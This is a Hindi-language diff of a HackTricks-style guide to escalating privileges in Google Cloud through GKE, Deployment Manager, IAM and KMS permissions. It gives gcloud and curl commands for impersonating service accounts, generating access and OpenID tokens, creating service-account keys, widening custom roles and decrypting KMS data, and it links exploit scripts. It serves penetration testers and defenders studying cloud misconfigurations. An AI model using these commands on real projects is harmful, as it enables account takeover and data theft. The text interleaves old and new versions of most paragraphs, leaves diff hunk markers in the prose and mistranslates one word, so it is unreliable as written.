जैसा कि [**इस पृष्ठ में समझाया गया है**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)इन अनुमतियों के साथ आप **कुबेरनेट्स** के सभी **SAs** के **टोकन** को **पढ़** सकते हैं, इसलिए आप उनके लिए विशेषाधिकार बढ़ा सकते हैं।
### `container.pods.exec`
इस अनुमति के साथ आप **पड्स में exec** करने में सक्षम होंगे, जो आपको **कुबरनेट्स SA** तक **पहुँच** प्रदान करता है जो पड्स में चल रहे हैं ताकि आप K8s के भीतर विशेषाधिकार बढ़ा सकें, लेकिन आप **नोडपूल** **GCP सेवा खात** भी **चुरा** सकते हैं, **GCP में विशेषाधिकार बढ़ाते हुए**
इस अनुमति के साथ आप **पड्स में exec** करने में सक्षम होंगे, जो आपको **Kubernetes SAs** तक **पहुँच** देता है जो पड्स में चल रहे हैं ताकि आप K8s के भीतर विशेषाधिकार बढ़ा सकें, लेकिन आप **नोडपूल** **GCP सेवा खात** को भी **चुरा** सकते हैं, **GCP में विशेषाधिकार बढ़ाते हुए**
### `container.pods.portForward`
जैसा कि **इस पृष्ठ में समझाया गया है**, इन अनुमतियों के साथ आप **पड्स** में चल रहे **स्थानीय सेवाओं** तक **पहुँच** प्राप्त कर सकते हैं जो आपको **कुबरनेट्स में विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं (और **GCP** में यदि आप किसी तरह मेटाडेटा सेवा से बात करने में सफल होते हैं)**।**
जैसा कि **इस पृष्ठ में समझाया गया है**, इन अनुमतियों के साथ आप **पड्स** में चल रहे **स्थानीय सेवाओं** तक **पहुँच** सकते हैं जो आपको **Kubernetes में विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं (और **GCP** में यदि आप किसी तरह मेटाडेटा सेवा से बात करने में सफल होते हैं)**।**
### `container.serviceAccounts.createToken`
**अनुमति** के **नाम** के कारण, यह **लगता है कि यह आपको K8s सेवा खातों के टोकन उत्पन्न करने की अनुमति देगा**, इसलिए आप कुबेरनेट्स के भीतर **किसी भी SA** के लिए **privesc** कर सकेंगे। हालाँकि, मैंने इसका उपयोग करने के लिए कोई API एंडपॉइंट नहीं पाया, इसलिए मुझे बताएं यदि आप इसे खोजते हैं।
**अनुमति** के **नाम** के कारण, यह **लगता है कि यह आपको K8s सेवा खातों के टोकन उत्पन्न करने की अनुमति देगा**, इसलिए आप Kubernetes के भीतर **किसी भी SA** के लिए **privesc** कर सकेंगे। हालाँकि, मैंने इसका उपयोग करने के लिए कोई API एंडपॉइंट नहीं पाया, इसलिए मुझे बताएं यदि आप इसे खोजते हैं।
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
ये अनुमतियाँ आपको कुबेरनेट्स में विशेषाधिकार बढ़ाने की अनुमति दे सकती हैं, लेकिन अधिक संभावना है, आप उनका दुरुपयोग करके **क्लस्टर में स्थायी** हो सकते हैं।\
ये अनुमतियाँ आपको Kubernetes में विशेषाधिकार बढ़ाने की अनुमति दे सकती हैं, लेकिन अधिक संभावना है, आप उनका दुरुपयोग करके **क्लस्टर में स्थायी** हो सकते हैं।\
अधिक जानकारी के लिए [**इस लिंक का पालन करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,17 +6,17 @@
### `deploymentmanager.deployments.create`
यह एकल अनुमति आपको **GCP में संसाधनों के नए डिप्लॉयमेंट लॉन्च करने**ी अनुमति देती है, जिसमें मनचाहे सेवा खातों का उपयोग किया जा सकता है। उदाहरण के लिए, आप एक SA के साथ एक कंप्यूट इंस्टेंस लॉन्च कर सकते हैं ताकि उस पर बढ़त हासिल की जा सके।
यह एकल अनुमति आपको **GCP में संसाधनों के नए डिप्लॉयमेंट लॉन्च**रने देती है, मनचाहे सेवा खातों के साथ। आप उदाहरण के लिए एक SA के साथ एक कंप्यूट इंस्टेंस लॉन्च कर सकते हैं ताकि आप उस पर बढ़त हासिल क सके
आप वास्तव में **`gcloud deployment-manager types list`** में सूचीबद्ध किसी भी संसाधन को लॉन्च कर सकते है
आप वास्तव में **किसी भी संसाधन को लॉन्च कर सकते हैं** जो `gcloud deployment-manager types list` में सूचीबद्ध है।
[**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) में निम्नलिखित [**स्क्रिप्ट**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) का उपयोग एक कंप्यूट इंस्टेंस को डिप्लॉय करने के लिए किया गया है, हालाँकि वह स्क्रिप्ट काम नहीं करेगी। [**यहाँ एक स्क्रिप्ट देखें जो एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**।**
[**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) में [**स्क्रिप्ट**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) का उपयोग एक कंप्यूट इंस्टेंस को डिप्लॉय करने के लिए किया गया है, हालाँकि वह स्क्रिप्ट काम नहीं करेगी। [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**।**
### `deploymentmanager.deployments.update`
यह पिछले दुरुपयोग की तरह है लेकिन नए डिप्लॉयमेंट बनाने के बजाय, आप पहले से मौजूद एक को संशोधित करते हैं (इसलिए सावधान रहें)।
[**यहाँ एक स्क्रिप्ट देखें जो एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**।**
[**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**।**
### `deploymentmanager.deployments.setIamPolicy`
@@ -12,40 +12,40 @@ IAM के बारे में अधिक जानकारी प्र
### `iam.roles.update` (`iam.roles.get`)
उल्लेखित अनुमतियों के साथ एक हमलावर आपके लिए असाइन की गई भूमिका को अपडेट कर सकेगा और आपको अन्य संसाधनों के लिए अतिरिक्त अनुमतियाँ दे सकेगा जैसे:
उल्लेखित अनुमतियों के साथ एक हमलावर आपके लिए असाइन की गई भूमिका को अपडेट करने में सक्षम होगा और आपको अन्य संसाधनों के लिए अतिरिक्त अनुमतियाँ देगा जैसे:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
आप **यहां एक स्क्रिप्ट** पा सकते हैं जो **एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है** और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप एक स्क्रिप्ट यहाँ पा सकते हैं जो **एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है** और एक पायथन स्क्रिप्ट जो इस विशेषाधिकार का दुरुपयोग करती है [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जाँच करें।
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
उल्लेखित अनुमतियों के साथ एक हमलावर **एक सेवा खाते से संबंधित एक एक्सेस टोकन का अनुरोध करने में सक्षम होगा**, इसलिए यह संभव है कि एक सेवा खाते का एक्सेस टोकन अनुरोध किया जाए जिसमें हमारे से अधिक विशेषाधिकार हों।
एक हमलावर जिसके पास उल्लेखित अनुमतियाँ हैं, **एक सेवा खाते से संबंधित एक एक्सेस टोकन का अनुरोध करने में सक्षम होगा**, इसलिए यह संभव है कि हम एक सेवा खाते का एक्सेस टोकन अनुरोध करें जिसमें हमारे से अधिक विशेषाधिकार हों।
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
आप [**यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के **निर्माण, शोषण और सफाई** को स्वचालित करती है और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) और एक पायथन स्क्रिप्ट जो इस विशेषाधिकार का दुरुपयोग करती है [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
### `iam.serviceAccountKeys.create`
उपरोक्त अनुमतियों के साथ एक हमलावर **एक सेवा खाते के लिए एक उपयोगकर्ता-प्रबंधित कुंजी बनाने** में सक्षम होगा, जो हमें उस सेवा खाते के रूप में GCP तक पहुचने की अनुमति देगा।
एक हमलावर जिसके पास उल्लेखित अनुमतियाँ हैं, **एक सेवा खाते के लिए एक उपयोगकर्ता-प्रबंधित कुंजी बनाने में सक्षम होगा**, जो हमें उस सेवा खाते के रूप में GCP तक पहुचने की अनुमति देगा।
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
आप [**यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के [**निर्माण, शोषण और सफाई**] को स्वचालित करती है और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहा**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
ध्यान दें कि **`iam.serviceAccountKeys.update` एक SA की कुंजी को संशोधित करने के लिए काम नहीं करेगा** क्योंकि ऐसा करने के लिए `iam.serviceAccountKeys.create` अनुमति भी आवश्यक है।
### `iam.serviceAccounts.implicitDelegation`
यदि आपके पास एक सेवा खाते पर **`iam.serviceAccounts.implicitDelegation`** अनुमति है जो तीसरे सेवा खाते पर **`iam.serviceAccounts.getAccessToken`** अनुमति रखता है, तो आप उस तीसरे सेवा खाते के लिए **एक टोकन बनाने के लिए implicitDelegation का उपयोग कर सकते हैं**। इसे समझाने के लिए यहां एक चित्र है।
यदि आपके पास एक सेवा खाते पर **`iam.serviceAccounts.implicitDelegation`** अनुमति है जो तीसरे सेवा खाते पर **`iam.serviceAccounts.getAccessToken`** अनुमति रखता है, तो आप implicitDelegation का उपयोग करके **उस तीसरे सेवा खाते के लिए एक टोकन बना सकते हैं**। यहाँ एक चित्र है जो समझाने में मदद करता है।
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
ध्यान दें कि [**दस्तावेज़ीकरण**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का प्रतिनिधित्व केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) विधि का उपयोग करके एक टोकन उत्पन्न करने के लिए काम करता है। तो यहा आपके पास सीधे API का उपयोग करके एक टोकन प्राप्त करने का तरीका है:
ध्यान दें कि [**दस्तावेज़ीकरण**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का प्रतिनिधित्व केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) विधि का उपयोग करके एक टोकन उत्पन्न करने के लिए काम करता है। तो यहा आपके पास API का उपयोग करके सीधे एक टोकन प्राप्त करने का तरीका है:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,19 +56,19 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.signBlob`
उपरोक्त अनुमतियों के साथ एक हमलावर **GCP में मनमाने पेलोड पर हस्ताक्षर करने में सक्षम होगा**। इसलिए यह संभव होगा कि **SA का एक असाइन किया हुआ JWT बनाए और फिर इसे एक ब्लॉब के रूप में भेजें ताकि हम जिस SA को लक्षित कर रहे हैं, उसके द्वारा JWT पर हस्ताक्षर किया जा सके**। अधिक जानकारी के लिए [**यह पढ़ें**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)।
उपरोक्त अनुमतियों के साथ एक हमलावर **GCP में मनमाने पेलोड पर हस्ताक्षर करने में सक्षम होगा**। इसलिए यह संभव होगा कि **SA का एक असाइन किया हुआ JWT बनाए और फिर इसे एक ब्लॉब के रूप में भेजें ताकि हम जिस SA को लक्षित कर रहे हैं, उसके द्वारा JWT पर हस्ताक्षर किया जा सके**। अधिक जानकारी के लिए [**यह पढ़ें**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.signJwt`
उपरोक्त अनुमतियों के साथ एक हमलावर **अच्छी तरह से निर्मित JSON वेब टोकन (JWTs) पर हस्ताक्षर करने में सक्षम होगा**। पिछले तरीके के साथ अंतर यह है कि **ब्लॉब में JWT पर हस्ताक्षर करने के बजाय, हम signJWT विधि का उपयोग करते हैं जो पहले से ही JWT की अपेक्षा करता है**। यह उपयोग में आसान बनाता है लेकिन आप केवल JWT पर हस्ताक्षर कर सकते हैं न कि किसी भी बाइट्स पर।
उपरोक्त अनुमतियों के साथ एक हमलावर **सही ढंग से निर्मित JSON वेब टोकन (JWTs) पर हस्ताक्षर करने में सक्षम होगा**। पिछले तरीके के साथ अंतर यह है कि **JWT पर हस्ताक्षर करने के लिए हम google को एक ब्लॉब पर हस्ताक्षर करने के बजाय signJWT विधि का उपयोग करते हैं, जो पहले से ही एक JWT की अपेक्षा करता है**। यह उपयोग में आसान बनाता है लेकिन आप केवल JWT पर हस्ताक्षर कर सकते हैं न कि किसी भी बाइट पर।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
@@ -83,25 +83,25 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
आप [**यहां एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)****
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
**iam.serviceAccounts.actAs अनुमति** AWS से **iam:PassRole अनुमति** के समान है। यह कार्यों को निष्पादित करने के लिए आवश्यक है, जैसे कि Compute Engine उदाहरण शुरू करना, क्योंकि यह एक सेवा खाते के रूप में "actAs" करने की क्षमता प्रदान करता है, जो सुरक्षित अनुमति प्रबंधन सुनिश्चित करता है। इसके बिना, उपयोगकर्ता अनुचित पहुंच प्राप्त कर सकते हैं। इसके अतिरिक्त, **iam.serviceAccounts.actAs** का शोषण विभिन्न तरीकों में शामिल है, प्रत्येक को एक सेट अनुमति की आवश्यकता होती है, जबकि अन्य तरीकों को केवल एक की आवश्यकता होती है।
**iam.serviceAccounts.actAs अनुमति** AWS से **iam:PassRole अनुमति** के समान है। यह कार्यों को निष्पादित करने के लिए आवश्यक है, जैसे कि Compute Engine उदाहरण शुरू करना, क्योंकि यह एक सेवा खाते के रूप में "कार्य करने" की क्षमता प्रदान करता है, जो सुरक्षित अनुमति प्रबंधन सुनिश्चित करता है। इसके बिना, उपयोगकर्ता अनुचित पहुंच प्राप्त कर सकते हैं। इसके अतिरिक्त, **iam.serviceAccounts.actAs** का शोषण विभिन्न तरीकों में शामिल है, प्रत्येक को एक सेट अनुमति की आवश्यकता होती है, जबकि अन्य तरीकों को केवल एक की आवश्यकता होती है।
#### सेवा खाता अनुकरण <a href="#service-account-impersonation" id="service-account-impersonation"></a>
एक सेवा खाते का अनुकरण **नए और बेहतर विशेषाधिकार प्राप्त करने** के लिए बहुत उपयोगी हो सकता है। आप [दूसरे सेवा खाते का अनुकरण](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) करने के तीन तरीके हैं:
एक सेवा खाते का अनुकरण करना **नए और बेहतर विशेषाधिकार प्राप्त करने** के लिए बहुत उपयोगी हो सकता है। आप [दूसरे सेवा खाते का अनुकरण](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) करने के तीन तरीके हैं:
- प्रमाणीकरण **RSA निजी कुंजी का उपयोग करके** (ऊपर कवर किया गया)
- प्राधिकरण **Cloud IAM नीतियों का उपयोग करके** (यहा कवर किया गया)
- प्राधिकरण **Cloud IAM नीतियों का उपयोग करके** (यहा कवर किया गया)
- **GCP सेवाओं पर नौकरियों को तैनात करना** (एक उपयोगकर्ता खाते के समझौते के लिए अधिक लागू)
### `iam.serviceAccounts.getOpenIdToken`
उपरोक्त अनुमति वाले एक हमलावर OpenID JWT उत्पन्न करने में सक्षम होगा। इनका उपयोग पहचान को प्रमाणित करने के लिए किया जाता है और ये किसी संसाधन के खिलाफ किसी निहित प्राधिकरण को अनिवार्य रूप से नहीं ले जाते हैं।
उपरोक्त अनुमतियों के साथ एक हमलावर OpenID JWT उत्पन्न करने में सक्षम होगा। इनका उपयोग पहचान को प्रमाणित करने के लिए किया जाता है और ये किसी संसाधन के खिलाफ स्वचालित रूप से कोई निहित प्राधिकरण नहीं ले जाते हैं।
इस [**दिलचस्प पोस्ट**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, यह आवश्यक है कि दर्शक (सेवा जहा आप टोकन का उपयोग करके प्रमाणित होना चाहते हैं) को इंगित किया जाए और आपको एक JWT प्राप्त होगा जो google द्वारा हस्ताक्षरित होगा जो सेवा खाते और JWT के दर्शक को इंगित करता है।
इस [**दिलचस्प पोस्ट**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, यह आवश्यक है कि दर्शक (सेवा जहा आप टोकन का उपयोग करके प्रमाणित होना चाहते हैं) को इंगित किया जाए और आपको एक JWT प्राप्त होगा जो google द्वारा हस्ताक्षरित होगा जो सेवा खाते और JWT के दर्शक को इंगित करता है।
आप OpenIDToken उत्पन्न कर सकते हैं (यदि आपके पास पहुंच है) के साथ:
```bash
@@ -110,18 +110,18 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
फिर आप इसे सेवा तक पहुँचने के लिए बस उपयोग कर सकते हैं:
फिर आप इसे सेवा तक पहुँचने के लिए उपयोग कर सकते हैं:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
कुछ सेवाएँ जो इस प्रकार के टोकन के माध्यम से प्रमाणीकरण का समर्थन करती हैं:
कुछ सेवाएँ जो इस प्रकार के टोकनों के माध्यम से प्रमाणीकरण का समर्थन करती हैं:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (यदि Google OIDC का उपयोग कर रहे हैं)
आप एक सेवा खाते की ओर से OpenID टोकन बनाने का उदाहरण [**यहाँ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) पा सकते हैं
आप एक उदाहरण पा सकते हैं कि सेवा खाते की ओर से OpenID टोकन कैसे बनाया जाए [**यहाँ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)।
## संदर्भ
@@ -14,7 +14,7 @@ KMS के बारे में जानकारी:
### `cloudkms.cryptoKeyVersions.useToDecrypt`
आप इस अनुमति का उपयोग **की के साथ जानकारी को डिक्रिप्ट करने** के लिए कर सकते हैं जिसके ऊपर आपके पास यह अनुमति है।
आप इस अनुमति का उपयोग **कुंजी के साथ जानकारी को डिक्रिप्ट करने** के लिए कर सकते हैं जिसके ऊपर आपके पास यह अनुमति है।
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -41,13 +41,13 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
1. **Service Account A** को KMS में एक विशिष्ट कुंजी का उपयोग करके डिक्रिप्ट करने का सीधा अधिकार है।
2. **Service Account B** को `useToDecryptViaDelegation` अनुमति दी गई है। यह इसे Service Account A की ओर से डेटा डिक्रिप्ट करने के लिए KMS से अनुरोध करने की अनुमति देता है।
इस **अनुमति का उपयोग उस तरीके में निहित है जिसमें KMS सेवा अनुमतियों की जांच करती है** जब एक डिक्रिप्शन अनुरोध किया जाता है।
इस **अनुमति का उपयोग उस तरीके में निहित है जिसमें KMS सेवा अनुमति की जांच करती है** जब एक डिक्रिप्शन अनुरोध किया जाता है।
जब आप Google Cloud KMS API का उपयोग करके एक मानक डिक्रिप्शन अनुरोध करते हैं (Python या किसी अन्य भाषा में), तो सेवा **जांचती है कि क्या अनुरोध करने वाले सेवा खाते के पास आवश्यक अनुमतियाँ हैं**। यदि अनुरोध एक सेवा खाते द्वारा किया जाता है जिसके पास **`useToDecryptViaDelegation`** अनुमति है, तो KMS यह सत्यापित करता है कि क्या यह **खाता उस इकाई की ओर से डिक्रिप्शन का अनुरोध करने के लिए अधिकृत है जो कुंजी का मालिक है**
जब आप Google Cloud KMS API का उपयोग करके एक मानक डिक्रिप्शन अनुरोध करते हैं (Python या किसी अन्य भाषा में), तो सेवा **जांचती है कि क्या अनुरोध करने वाले सेवा खाते के पास आवश्यक अनुमतियाँ हैं**। यदि अनुरोध एक सेवा खाते द्वारा किया जाता है जिसके पास **`useToDecryptViaDelegation`** अनुमति है, तो KMS यह सत्यापित करता है कि क्या यह **खुशखबरी उस इकाई की ओर से डिक्रिप्शन का अनुरोध करने के लिए अनुमति प्राप्त है जो कुंजी का मालिक है**
#### Setting Up for Delegation
#### प्रतिनिधित्व के लिए सेटिंग अप
1. **Define the Custom Role**: एक YAML फ़ाइल बनाएं (जैसे, `custom_role.yaml`) जो कस्टम भूमिका को परिभाषित करती है। इस फ़ाइल में `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` अनुमति शामिल होनी चाहिए। यहाँ इस फ़ाइल का एक उदाहरण है:
1. **कस्टम भूमिका परिभाषित करें**: एक YAML फ़ाइल बनाएं (जैसे, `custom_role.yaml`) जो कस्टम भूमिका को परिभाषित करती है। इस फ़ाइल में `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` अनुमति शामिल होनी चाहिए। यहाँ इस फ़ाइल का एक उदाहरण है:
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -61,7 +61,7 @@ gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID]
```
`[YOUR_PROJECT_ID]` को अपने Google Cloud प्रोजेक्ट ID से बदलें।
